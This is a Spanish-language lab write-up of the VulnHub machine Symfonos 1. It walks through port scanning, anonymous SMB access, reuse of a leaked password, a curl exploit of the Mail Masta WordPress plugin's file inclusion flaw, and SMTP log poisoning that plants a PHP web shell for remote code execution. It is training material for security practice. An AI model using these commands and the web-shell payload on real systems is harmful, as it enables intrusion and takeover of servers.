En este caso, desconocemos la IP de la máquina. Lo primero que vamos a hacer es recoger los host visibles desde mi equipo cacheados en la tabla ARP. Una alternativa sería utilizar ArpScan.
Y vemos el archivo targeted para mirar un poco el resultado.
# Nmap 7.92 scan initiated Sat Jan 14 11:57:45 2023 as: nmap -p22,25,80,139,445 -sCV -oN targeted 192.168.1.140
Nmap scan report for symfonos.local (192.168.1.140)
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
...
25/tcp open smtp Postfix smtpd
...
80/tcp open http Apache httpd 2.4.25 ((Debian))
...
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:5A:60:B1 (Oracle VirtualBox virtual NIC)
...
He omitido el output para quedarme con lo interesante. Servicios de ssh, smtp, http y smb expuestos.
Mediante smbmap, intentamos obtener acceso a los recursos compartidos a ver si está todo bien configurado.
smbmap -H 192.168.1.140
# [+] Guest session IP: 192.168.1.140:445 Name: symfonos.local
# Disk Permissions Comment
# ---- ----------- -------
# print$ NO ACCESS Printer Drivers
# helios NO ACCESS Helios personal share
# anonymous READ ONLY
# IPC$ NO ACCESS IPC Service
smbmap -H 192.168.1.140 -r anonymous
# [+] Guest session IP: 192.168.1.140:445 Name: symfonos.local
# anonymous READ ONLY
# .\anonymous\*
# dr--r--r-- 0 Sat Jun 29 03:14:49 2019 .
# dr--r--r-- 0 Sat Jun 29 03:12:15 2019 ..
# fr--r--r-- 154 Sat Jun 29 03:14:49 2019 attention.txt
smbmap -H 192.168.1.140 --download anonymous/attention.txt
# [+] Starting download: anonymous\attention.txt (154 bytes)
# [+] File output to: /home/iocio/Desktop/VulnHub/Symfonos1/content/192.168.1.140-anonymous_attention.txt
Si cateamos el archivo de texto obtenemos lo siguiente.
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus
Cosas interesantes hasta aquí, de atrás adelante.
Las contraseñas 'epidioko', 'qwerty' y 'baseball' son contraseñas que debería tener en cuenta para continuar con el reto.
Por otro lado, hay un recurso compartido llamado 'helios' - 'Helios personal', que me puede hacer pensar que hay un usuario llamado helios.
Vamos a intentar loguearnos a smb con el usuario 'helios' y cualquiera de esas 3 contraseñas.
smbmap -H 192.168.1.140 -u helios -p qwerty
# [+] IP: 192.168.1.140:445 Name: symfonos.local
# Disk Permissions Comment
# ---- ----------- -------
# print$ READ ONLY Printer Drivers
# helios READ ONLY Helios personal # anonymous READ ONLY
# IPC$ NO ACCESS IPC Service
Tirando del hilo como anteriormente, he encontrado dos archivos. Un research.txt y un todo.txt.
El texto de todo.txt es el siguiente.
1. Binge watch Dexter
2. Dance
3. Work on /h3l105
El tercer punto parece un directorio o una ruta. Si accedo por Firefox a la web expuesta y pongo esa ruta, vemos un servidor Wordpress. Coloco la siguiente entrada en /etc/hosts para que los archivos estáticos se descarguen correctamente y poderlo visualizar correctamente.
192.168.1.140 symfonos.local
A partir de aquí podríamos utilizar WpScan, pero vamos a intentar enumerar posibles plugins que pueda tener instalados y buscar vulnerabilidades en ellos.
Con la salida de curl, concatenando varios greps y algunos delimitadores, obtenemos la siguiente entrada:
Hay un plugin de mails y otro bastante común para la edición del sitio. Recordamos que la máquina tiene expuesto el puerto de 25 SMTP. Vamos a ir por ese camino.
Buscamos vulnerabilidades en searchsploit.
searchsploit mail masta
# WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2) | php/webapps/50226.py
El plugin Mail Masta tiene una vulnerabilidad de tipo LFI.
Mirando el script, vemos que la vulnerabilidad se encuentra en una URL. Vamos a probarlo manualmente con curl.
curl -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# helios:x:1000:1000:,,,:/home/helios:/bin/bash
Podemos desarrollar un script para hacer más sencillas las consultas como [[lfi_read_file.sh]]
Un directorio interesante continuando con el tema de smtp, es /var/mail/.
Con ayuda del script, vemos dicho archivo.
./lfi_read_file.sh -f /var/mail/helios
Log Poisoning de SMTP
El directorio /var/mail/helios está expuesto. Si fuésemos capaces de enviar un mail y colar código PHP en él, podríamos mediante el LFI transformarlo en un RCE fácilmente.
Vamos a conectarnos por telnet al puerto del mail y tratar de enviar algo.
telnet 192.168.1.140 25
# Connected to 192.168.1.140.
# Escape character is '^]'.
# 220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: 0x10
# 250 2.1.0 Ok
RCPT TO: helios
# 250 2.1.5 Ok
DATA
# 354 End data with .
php system($\_GET['cmd']) ?
.
# 250 2.0.0 Ok: queued as 9ACCB4083E
quit
De este modo, vamos a entablarnos una reverse shell.